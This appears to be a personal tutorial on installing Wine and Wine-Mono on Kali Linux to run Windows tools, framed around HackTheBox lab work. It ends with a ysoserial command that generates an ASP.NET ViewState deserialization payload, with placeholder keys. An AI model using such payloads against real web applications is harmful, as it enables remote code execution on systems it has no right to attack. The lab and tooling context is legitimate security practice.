Skip to main content

Installing Wine and Wine Dependencies


I urge you to consider taking a snapshot of your Kali instance at its current state before installing Wine. That way you can easily roll it back in case anything goes wrong with the install or you're unhappy with the performance.

Install Wine

sudo dpkg --add-architecture i386
sudo apt update
sudo apt install -y wine wine32:i386 winetricks mono-complete


Installing Wine-Mono

Check Wine Version

wine --version

I'm running NoMachine server as my Remote Desktop server and see this error every time I run wine: ERROR: object '/usr/NX/lib/' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS64): ignored.

In this case, instead of running wine <args>, I run LD_PRELOAD= wine <args> to silence the error.


Cross-Reference Wine-Mono Wiki

Then, reference the Mono Wiki to find the correct version of Wine-Mono to install:

For example, if you're running wine-8.0.1 and the version table shows the latest version is for wine-8.9 and the previous version is for wine-7.20, then you should download the Wine-Mono package for the version that is less than or equal to your version of wine. In this case, you'd download Wine-Mono for wine-7.20, since you're not at wine-8.9.

# Replace x.x.x with the correct version
# Run wine uninstaller and load the .msi file
wine uninstaller
  1. After running wine uninstaller, click Install
  2. Then, choose your .msi file and click OK

If you get error wine: could not load kernel32.dll, status c0000135, just run rm -rf ~/.wine/. Then, re-run wine uninstaller.

Usage Example

Recently, I've worked on a few HackTheBox lab machines that required generating some payloads using ysoserial. I didn't want to spin up a Windows VM and didn't have one on standby. I also didn't want to run ysoserial on my Windows host machine, so I turned to Wine on Kali Linux.

Project GitHub:

Install .NET Libraries

winetricks dotnet48

This installation process takes several minutes and requires you to click through several prompts. So, don't walk away during this installation process.

Example Command

Running ysoserial with wine is pretty trivial, but I did notice some anomalies with the output that required a little bit of tinkering. Ultimately, this is a command that worked in my operating environment.

wget -O
unzip -d ysoserial
cd ysoserial/Release
# LD_PRELOAD= : a runtime environment variable to silence some errors on my host
# 2>/dev/null : Because wine was creating some weird error output that interfered with the payload
# sed s/\n//g' : Join on line breaks, not sure if wine is creating them

LD_PRELOAD= wine ./ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "ping" \
--path="/portfolio/default.aspx" --apppath="/" \
--decryptionalg="AES" \
--decryptionkey="INSERT_AES_KEY_HERE" \
--validationalg="SHA1" \
--validationkey="INSERT_VALIDATION_KEY_HERE" 2>/dev/null | sed 's/\n//g'